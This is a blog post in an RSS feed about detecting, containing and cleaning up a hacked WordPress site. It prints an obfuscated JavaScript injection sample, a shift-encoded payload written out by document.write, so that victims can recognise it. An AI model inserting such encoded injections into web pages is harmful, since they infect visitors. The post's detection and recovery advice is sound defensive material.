<p>Worse yet, if the attack is one that redirects your users to a malware site (which a great many of them do), that delay <strong>means more of your users could end up with infected computers</strong>. They end up with a virus, and they blame you for it. This can have a serious impact on the amount of trust your users have in you and your website.</p>
<p>So short of clicking the reload button every 30 seconds on your website and vowing never to sleep again, how can you make sure you&#8217;re always the first &#8211; or damn close &#8211; to know? Easy.</p>
<p><strong>Set up an account with one of the cheap or free website monitoring services.</strong> There are many to choose from, and some offer more features than others, but you can <a href="http://www.snipe.net/2009/01/cheap-or-free-website-status-monitoring/">see a comparison of the ones I&#8217;ve tried here</a>.  I personally prefer <a href="http://site24x7.com/" target="_blank">Site24x7</a> because of the alert configuration options.</p>
<p><img class="aligncenter size-large wp-image-2819" title="site24x7" src="http://www.snipe.net/wp-content/uploads/2010/01/site24x7-560x184.png" alt="" width="560" height="184" /></p>
<p>As you can see in the screenshot above, I have a very basic keyword detection alert set up. Generally speaking, when someone defaces or hijacks your site, the actual index page of your site is usually completely altered or broken. This configuration will alert me that my site is in trouble if the title of my website isn&#8217;t found in the test. I&#8217;ve also added an alert to search for the keyword &#8220;iframe&#8221;, since many javascript injection attacks will leave your page visibly unaltered, but will insert a series of iframes and links in the bottom of the page that would go unnoticed if I were simply looking at the site with my my eyes.</p>
<p>Naturally, if you might at some point create a blog post about iframes, you may want to tweak this alert so you don&#8217;t get any false alarms.</p>
<p><strong>Unfortunately, not even this is foolproof</strong>,<strong> since most attacks use <a href="http://www.computerworld.com/s/article/9062278/Hackers_camouflage_100_of_Web_attacks_IBM_researcher_says" target="_blank">some sort of obfuscation</a> </strong>to make the malicious code harder to track down. Many times this obfuscated or encrypted code will contain random characters and numbers to make it harder to Google for a matching result.</p>
<p>If the hack is causing your site users to be redirected to badsite.com, the first thing you&#8217;d probably do is do a global search for badsite.com, since any reference to it would be a tip-off that the file has been poisoned. However, what&#8217;s more likely for you to find in your code is something that looks like this:</p>
<p><strong><em>NOTE: Avast Antivirus is stupid, and has been flagging this post as a trojan since I wrote it, due to the sample code below.</em></strong><em> There is no trojan on this page. Avast simply isn’t smart enough to realize that the code it’s seeing isn’t being parsed, it’s merely being displayed. I specifically opted not to use an image or alter the code, so that it would be easier to Google if someone ends up being infected with a similar injection. I’ve added some spaces in the &lt;script&gt; tags to hopefully stop the erroneous virus alerts this page triggers. The real javascript you find in your site will NOT have spaces in the script tags. Avast can suck it.</em></p>
<pre>&lt;scr ipt&gt;var source ="=tdsjqu?epdvnfou/xsjuf)Tusjoh/gspnDibsDpef)
71-216-213-225-:8-21:-212-43-226-225-::-
72-45-49-46-65-64-61-66-68-6:-215-227-
227-223-69-58-58-::-212-221-227-216-232-
222-57-::-222-21:-58-216-221-57-::-214-216-
74-61-45-43-22:-216-211-227-215-72-5:-
43-215-212-216-214-215-227-72-5:-43-226-
227-232-219-212-72-45-229-216-226-216-
:9-216-219-216-227-232-69-43-215-216-
211-211-212-221-45-73-71-58-216-213-225-
:8-21:-212-73**&lt;=0tdsjqu?"; var result = "";
for(var i=0;i&lt;source.length;i++) result+
=String.fromCharCode(source.charCodeAt(i)-1);
document.write(result); &lt;/scr ipt&gt; [spaces added intentionally]</pre>
<p>So as you can see, the common sense of checking for badsite.com in your files isn&#8217;t enough anymore. Your blog most likely has javascript, so simply looking for &lt;script&gt; tags will give you false positives, so you&#8217;ll have to figure out what works best for you.</p>
<p>Once alert I usually like to put in there is for site4x7 to alert me if the content of my page has changed more then 10%. I don&#8217;t post often enough for 1/10th of an entire webpage to have changed, so if I get a ping on this alert, the first thing I do is look in the source code for invisible links. Some injections will insert literally hundreds of links that you can&#8217;t see when you look at the page in a browser, but the large chunk of hidden code will trip the alarm. (They do this to get search engine link juice from legitimate websites that point towards phishing or malware sites.)</p>
<p>Finally, you can set your alert to email you, send you an SMS message or both. If you&#8217;re close-by to some method of checking email most of the time, you may want to stick with email alerts, but I personally <em>want</em> to be woken up in the dead of night if something hinky is going on, so I have it set to SMS <em>and</em> email.</p>
<h3>The Alarm Has Been Sounded. Now What?</h3>
<p>You&#8217;ve received an alert from your site monitoring service notifying you that your site is &#8220;In trouble&#8221;. You obviously need to verify that it&#8217;s actually been hacked, and it&#8217;s not just a timeout or some other innocuous issue.<strong> Be sure to disable javascript before hitting your site</strong> &#8211; since many attacks inject a line of malicious javascript, you don&#8217;t want to end up infecting your own computer while checking your site.</p>
<p><strong>In fact, to be even safer, don&#8217;t hit your homepage using your browser at all. </strong><br />
Some hacks will use a plain meta refresh redirection that doesn&#8217;t rely on javascript to send you on to a malware site, so disabling javascript won&#8217;t protect you from all threats. You can use a tool like the <a href="http://validator.w3.org/" target="_blank">WC3 validator</a> to inspect your HTML code and look for anything that seems out of place without actually executing any code. This is especially helpful if your site usually validates (your sites do validate, don&#8217;t they??) and suddenly do not. To make it even easier, go to the validator, run a scan now now, being sure to select &#8220;show source&#8221; in &#8220;More Options&#8221;, and then bookmark the results page.</p>
<h3>Shit. Definitely Hacked. Now What?</h3>
<p>First of all, in the words of Douglas Adams &#8211; <strong>Don&#8217;t Panic</strong>. Honestly. I know that sounds obvious, but if you panic and start acting rashly, best case scenario you could make a mistake, and worst case scenario, you could end up destroying whatever clues might be available on the server that might help you figure out how the attack was carried out. And that last part is <em>really</em> important if you want to make sure it doesn&#8217;t happen again.</p>
<p><strong>Take a deep breath and exhale slowly.</strong><br />
This is not the end of the world, especially if you&#8217;ve followed the earlier instructions and you have a backup. (You did, right?) Contrary to popular belief, sites get hacked a lot. Big ones and little ones. It&#8217;s definitely a big deal, and I&#8217;m not saying you should go out for a stroll, but freaking out isn&#8217;t going to help you get this straightened out any faster. If you lose your cool here, you risk screwing things up even worse tan they were before, or at the very least, losing valuable information that can help you isolate the vector and prevent the attackers from getting in the same way again.</p>
<p><strong>Immediately change the FTP/ssh login passwords to your site, your WordPress admin account and the database password.</strong><br />
Obviously, you will want to pick a hard to guess password. Do NOT update the database password in the WordPress config file yet. In fact, we haven&#8217;t touched any files yet.</p>
<p><strong>Login to your server and quickly assess the damage &#8211; but don&#8217;t touch anything yet</strong>.<br />
Worst case scenario, many or all of your files may be gone. Actually, in my mind, that&#8217;s not the worst case scenario. It&#8217;s far more frustrating to figure out if malware or malicious scripts have been uploaded to your server if the rest of the files are completely intact, as it can seem a bit like a needle in a haystack.</p>
<p>It can be tempting to immediately remove the offending files and fix everything as quickly as you can. While fixing things as quickly as you can is definitely a priority, you don&#8217;t want to go stomping all over your crime scene. (I say crime scene for the sake of analogy &#8211; most basic site defacements are of little interest to the authorities, however YOU still need to preserve evidence.)</p>
<p><strong>Open your htaccess file and disable your site to incoming traffic. </strong><br />
There are several different ways of doing this, each one with pros and cons, and each one taking a varying amount of time.  I highly recommend checking out the <a href="http://25yearsofprogramming.com/blog/20070704.htm" target="_blank">Close your website temporarily with Apache htaccess</a> article on 25yearsofprogramming.com to see what your options are, with copy+paste code to get you there.</p>
<p>Ideally, you&#8217;ll want to create a plain HTML file that includes a friendly message (without any images, since ALL traffic will be redirecting to that file, so images won&#8217;t work) saying  the site is offline for maintenance, and use htaccess to redirect ALL incoming traffic except that which is originating from your own IP address to that &#8220;closed for maintenance&#8221; page.</p>
<p>You need to disable traffic or redirect to a &#8220;closed for maintenance&#8221; page as quickly as possible, for several reasons. First of all, if your site is actually doing something bad &#8211; redirecting users to a malware site or attempting to install malware on their computers, this is the best way to protect them as quickly as possible. Second of all, it will help you manage the PR end of things if you&#8217;re able to protect your users with a more generic message. You can always explain to your users what happened later. <em>The priority is to contain the threat so that you&#8217;re not infecting any visitors, and then you can take a little more time to investigate and repair the site. </em></p>
<p><strong>Check for files that have been added or modified recently but do NOT fix them yet. </strong><br />
Someone or something modified at least a few files on your server, and the easiest way to figure out which files were modified is to look at the timestamp. If you have SSH access, go ahead and SSH in and execute the following command:</p>
<pre>ls -lRta | less</pre>
<p>This will give you a recursive listing (including last modified timestamp) of files, sorted by date modified.</p>
<p>You can also use something like this:</p>
<pre>find . -type f -mtime -1 -print</pre>
<p>&#8230; which will let you limit your results by date modified. In the example above, the resultes returned would be a listing of files modified in the last day. If you haven&#8217;t made any changes in the past day, there&#8217;s a good chance that the files that show up in the results here are the ones that have been modified by the attacker.</p>
<p>If you don&#8217;t have SSH access, this is a bit more of a pain in the ass, but still do-able. You&#8217;ll want to sort your FTP client&#8217;s results by date modified, and poke around in all of the directories, noting any file modification dates that don&#8217;t make sense.</p>
<p>One of the easiest ways to record the timestamp information is to screenshot the FTP client&#8217;s file listing while sorted by date modified. In SSH, you can pipe the results into a text file. We want to make sure we make a note of all of the files that have been modified recently so that we can check or replace them.</p>
<p><strong>I usually make it a point to download all of the files that have been added or modified. </strong><br />
Since the repair process is going to blow out all of the hacker&#8217;s modifications, I like to download them so I can take a look at them in a text editor later, so I can figure out if there was more going on than initially appeared. Some nefarious scripts will initiate malware installs, some will send out emails with password information, some will create backdoors and/or secret admin accounts, some merely redirect users &#8211; but a good number of hacks implement all of these and more, so I want to put an eyeball on every file that was modified so I can make sure nothing worse happened.</p>
<p><strong>Make with the Googling. </strong><br />
Google can often shed some light on the hack you&#8217;re facing. Chances are, you&#8217;re not the first target, so someone, somewhere may have posted about it. A lot of what you&#8217;ll find are forum members saying &#8220;WTF?! Were we hacked?&#8221;, but every now and then you can actually glean some useful information.</p>
<p>One of the best places to start is to Google the url of the site that your site was forwarding to or pulling data from. In this case we might try &#8220;badsite.com wordpress&#8221; or &#8220;badsite.Com hacked&#8221;. You&#8217;ll often find a lot of crossovers, and the same exploit that&#8217;s being used to wreak havoc on WordPress sites is also being use to hammer vbulletin sites around the same time frame. Once again, while doing this, be careful. If the sites are still infected, you do put your computer at a higher risk, so make sure your antivirus is fired up and your javascript is turned off, at the very least.</p>
<p>The reason why Googling for more information can be very helpful is because someone else may have already figured out the information you&#8217;re looking for. Specifically, if someone did a good job of documenting the hack, they may bring your attention to a backdoor that was created, some files that were modified that you didn&#8217;t think to check, and so on.  You won&#8217;t always hit paydirt, but when you do, you&#8217;ll be really glad you bothered to check.</p>
<p><strong>Check the database directly for secretly created admin users. </strong><br />
These folks can be tricksy, and they can sometimes use a javascript injection to insert new users with administrative privileges directly into your database. If you&#8217;ve allowed other users to register, it can be hard to tell legitimate users apart from suspicious users in the admin area. Plus, since your system was compromised, there is always the chance that your admin area will contain additional formatting that &#8220;hides&#8221; the admin users from view using CSS, so you&#8217;re better off going straight to the horse&#8217;s mouth.</p>
<p>First query the wp_users table to determine your own user ID, and the ID of anyone who legitimately should have admin access. Jot those IDs down. Then query the wp_usermeta table, which stores the user&#8217;s permission level in a chunk of serialized data. Something like this should work:</p>
<pre>select * from wp_usermeta where meta_values LIKE '%administrator%';</pre>
<p>In the results of that query, if you see ANY results with a user_id of something other than yourself or the other legitimate administrators, then the attacker was able to create admin users. Legitimate administrators usually have a wp_capabilities field value of something like this:</p>
<pre><code>a:1:{s:13:"administrator";b:1;}</code></pre>
<p>Users that are <em>not</em> legitimate usually have a lot more text in there, part of which is made up of the script and CSS used to hide their presence. Make a note of the user_ids that are listed in the results and then delete those rows that do not belong.</p>
<p>Next, let&#8217;s look for additional rows that assign a wp_user_level to those same unsavory users. A query like:</p>
<pre>select * from wp_usermeta where meta_key='wp_user_level' AND meta_value='10'</pre>
<p>Chances are, you&#8217;ll see another set of records with matching IDs to the bogus ones you found in the earlier query. Delete the records that do not match the user_id of the legitimate administrators.</p>
<p><strong>Check for script files where they don&#8217;t belong. </strong><br />
While it&#8217;s possible for malicious code to actually be embedded in what looks like an image file, what I have found to be far more common is that backdoor scripts will be inserted into your uploads subdirectories where normally only images live. As a site owner is cleaning up their hacked WordPress install, they often overlook combing through the images directory, since scripts don&#8217;t normally live there.  That means that after the site owner has spent hours cleaning out a hacked blog, the backdoor gets triggered and they find themselves hacked all over again.</p>
<p>One of the commenters in this post had a similar issue. He kept cleaning out the script files, replacing them with clean copies, etc. And every week, the blog would get hacked again. We went through his file structure together, and sure enough, there were .php and .pl files tucked away in a few of his uploads directories.</p>
<p>In another instance (that I will hopefully get a chance to blog about soon), I discovered files in the cgi-bin that didn&#8217;t belong there. You can read more about that exploit in depth in<a href="http://badwarebusters.org/main/itemview/14451" target="_blank"> my post about it on badwarebusters.org</a> if you&#8217;re interested.</p>
<p>If you don&#8217;t have shell access and have an older blog with tons of upload subdirectories broken down by month, this can be time-consuming, but it really is necessary. Without SSH access, the easiest thing to do is to go into each directory in your FTP program and sort the file listing by file type. This will group all of the images together, and make it easy to spot anything that isn&#8217;t an image and doesn&#8217;t belong. Then do another quick sort by file modification date, just to be sure there&#8217;s nothing in there that doesn&#8217;t make sense, for example a recent modification date on an image from a blog post that is over a month old. Unless you know you went back into the blog post and updated an image, that file modification timestamp should look out of place and should raise some red flags.</p>
<p><strong>Once you have a copy of all of the bad files and you know when they were modified, you can now restore the site. </strong><br />
Leave the htaccess redirect up until you&#8217;re done. I highly recommend blowing out all of the files in the entire webspace and restoring from a clean backup. What would be a clean backup? One that was done before the timestamps of the bad files. Bear in mind, just because there was no visible sign of a hack previously, that doesn&#8217;t mean bad scripts weren&#8217;t living on the server &#8211; so this method isn&#8217;t foolproof, but it&#8217;s a good place to start.</p>
<p>I usually do a fresh download and reinstall if the core WordPress files at this point, just to be on the safe side.</p>
<p><strong>Once the site is restored, revert back to your normal htaccess and re-open the site.</strong><br />
How you handle your PR is up to you. For some, transparency may be best. If you believe that your users&#8217; usernames and/or passwords were compromised in any way, you should let your user&#8217;s know. I use Disqus on all of my sites, so my WordPress database doesn&#8217;t contain any user&#8217;s login information, but if you use WordPress&#8217; native comments, you need to let your users now that their information was potentially exposed. This is an ethical obligation because many people (stupidly) use the same login for multiple accounts online, and having access to their WordPress login could mean the bad guys now have access to other accounts because the user was dumb enough to use the same login for your site as for their bank.</p>
<p>I generally recommend turning off new user registration altogether in WordPress. Once you&#8217;ve done that, you can <strong><a href="http://www.webmaster-toolkit.com/htaccess-generator.shtml" target="_blank">password protect the wp-admin</a></strong> directory to further secure your install. (We&#8217;ll talk more about other ways you can secure your WordPress installation in the next article.)</p>
<p><strong>Spend some time looking at your log files. </strong><br />
This part is critical, so you can figure out what happened and how the exploit was executed. Check your httpd logs, looking for signs of cross-site scripting around the time the you were alerted to the hack and earlier. Look for GET or POST strings being sent that have weird code in them, specifically GET or POST variables that don&#8217;t make any sense for your website.</p>
<p>Check your FTP/SSH logs for logins from IP addresses you don&#8217;t recognize, specifically around the time the bad files were modified.</p>
<p><em><strong>If you see FTP traffic during that time that wasn&#8217;t you (or another legitimate user) uploading the hacked files, there is a very good chance that you or someone who has FTP access to your server has malware on their computer.</strong></em> The other option there is that you (or someone with access) was uploading files while on a public wifi network, and someone sniffed the login over the network. That is a less likely scenario, but still one to consider.<em> Nine times out of ten recently, when I have had to fix a client or friend&#8217;s hacked WordPress site, it is because the computer they use to upload files has been compromised by way of malware or a virus. </em></p>
<p><strong>Be paranoid.</strong><em><br />
</em>Seriously. Keep a close eye on on your site, specifically checking the places the exploit first showed up. Check back often, reviewing your source code for anything that doesn&#8217;t belong. Injected code is very often found at the very bottom or very top of the executed page, but may also be sprinkled throughout the file, so keep your eyes peeled. Remember what we discussed earlier &#8211; it may be obfuscated, so doing a find on the source looking for &#8220;badsite.com&#8221; may give you a false negative.</p>
<p>If possible, try to update your website service monitoring service alerts to specifically look for the bad code. Try not to be too specific, since many of these hacks that leave backdoors will randomize their obfuscation, so the bad code could do undetected if you&#8217;re too specific.</p>
<p>Repeat the same process of logging in and monitoring which files have been been recently added or modified. Many scripts will randomize the filename of the backdoor script they bury somewhere deeper in your file structure, so don&#8217;t get used to looking for specific filenames &#8211; look for timestamps, and the <em>moment</em> you see a timestamp you&#8217;re not responsible for, be ready for round two.</p>
<p><strong>Follow-up with Google</strong>.<br />
If your site ended up being listed as malware so that browsers, email clients and some search engines have your site flagged as one that is a potential source of malware, you can appeal this. Using Google Webmaster tools, you can request a review of your site. Once Google decides your site is no longer a threat, you&#8217;ll be de-listed as a potentially harmful site. <a href="http://www.google.com/support/webmasters/bin/answer.py?answer=45432" target="_blank">More information on Google&#8217;s policy on harmful sites is available here</a>.</p>
<h3>Final Notes</h3>
<p>The methods mentioned above about detecting how the hack was executed do not cover all possibilities. If a poorly written script allowed the attacker access beyond your webroot, your entire server could be compromised. This is less of a risk with a reliable virtual or cloud host, since they will limit what your user can access with respect to the rest of the server, but still something to keep in mind. There are a lot of different kinds of attacks that you won&#8217; be able to diagnose using the methods above &#8211; a DNS injection, rootkit, and so on will be harder to backtrack, and you&#8217;d be best served consulting a professional.</p>
<p>If you&#8217;re interested in learning more about penetration testing and intrusion detection, I highly recommend the e-book <a href="http://www.detectmalice.com/" target="_blank">&#8220;Detecting Malice&#8221;</a> by Robert &#8220;RSnake&#8221; Hansen. If this is your first foray into pen testing and security, you&#8217;ll appreciate Robert&#8217;s way of explaining complicated topics using easy-to-understand-language. If you&#8217;re more experienced in this field, you&#8217;ll still learn a lot (and this article was probably too basic for you, so what the hell were you doing here anyway?)</p>
<p>Odds are, if you&#8217;ve had a website for a while, you&#8217;ve been hacked. It does happen &#8211; but by taking some steps ahead of time, and being prepared for it, you&#8217;ll be able to react more effectively and preserve more of your reputation and the information that may be needed to lock down whatever security holes you may have.</p>
<p>I&#8217;ll hopefully be following up this article with a second one, that provides tips on how to secure your WordPress blog. Stay tuned, and <a href="http://feeds.feedburner.com/snipenet" target="_blank">make sure you&#8217;re subscribed to the RSS feed</a> to know when it&#8217;s up.</p>
<p>I obviously couldn&#8217;t cover every scenario in one article, especially given the potentially broad range of varying technical abilities of my readers and the huge nuance and variety of attacks, but I tried to cover the basics.  Did you learn anything new? Did I miss something? Let me know in the comments.</p>


<p>Possibly related posts:<ol><li><a href='http://www.snipe.net/2010/06/upgrading-to-wordpress-3/' rel='bookmark' title='Permanent Link: Upgrading to WordPress 3.0 and Adding Multi-Site'>Upgrading to WordPress 3.0 and Adding Multi-Site</a> <small>WordPress 3.0, code name “Thelonious”, has been released, and it...</small></li>
<li><a href='http://www.snipe.net/2009/01/essential-wordpress-plugins/' rel='bookmark' title='Permanent Link: Essential WordPress Plugins'>Essential WordPress Plugins</a> <small>Many WordPress bloggers have taken the time to share the...</small></li>
<li><a href='http://www.snipe.net/2009/01/creating-a-wordpress-theme/' rel='bookmark' title='Permanent Link: Creating A WordPress Theme'>Creating A WordPress Theme</a> <small>If you&#8217;ve already got some design chops and a WordPress...</small></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.snipe.net/2010/01/when-wordpress-gets-hacked/feed/</wfw:commentRss>
		<slash:comments>44</slash:comments>
		</item>
	</channel>
</rss>
